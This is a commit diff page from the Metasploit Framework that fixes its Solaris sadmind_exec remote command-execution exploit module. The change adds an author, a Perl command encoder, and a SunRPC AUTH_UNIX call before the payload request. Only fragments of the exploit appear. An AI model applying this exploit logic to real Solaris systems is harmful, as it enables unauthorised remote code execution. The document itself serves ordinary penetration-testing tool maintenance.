Land #3518, @midnitesnake's fix for solaris sadmind_exec
commit
e6e4aaba3e
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
Vulnerable systems include solaris 2.7, 8, and 9
|
Vulnerable systems include solaris 2.7, 8, and 9
|
||||||
},
|
},
|
||||||
'Author' => [ 'vlad902 <vlad902[at]gmail.com>', 'hdm', 'cazz' ],
|
'Author' => [ 'vlad902 <vlad902[at]gmail.com>', 'hdm', 'cazz', 'midnitesnake' ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -35,9 +35,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
'Space' => 2000,
|
'Space' => 2000,
|
||||||
'BadChars' => "\x00",
|
'BadChars' => "\x00",
|
||||||
'DisableNops' => true,
|
'DisableNops' => true,
|
||||||
|
'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
|
||||||
'Compat' =>
|
'Compat' =>
|
||||||
{
|
{
|
||||||
'PayloadType' => 'cmd',
|
'PayloadType' => 'cmd',
|
||||||
|
@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
hostname = datastore['HOSTNAME']
|
hostname = datastore['HOSTNAME']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
|
||||||
response = sadmind_request(hostname, payload.encoded)
|
response = sadmind_request(hostname, payload.encoded)
|
||||||
sunrpc_destroy
|
sunrpc_destroy
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue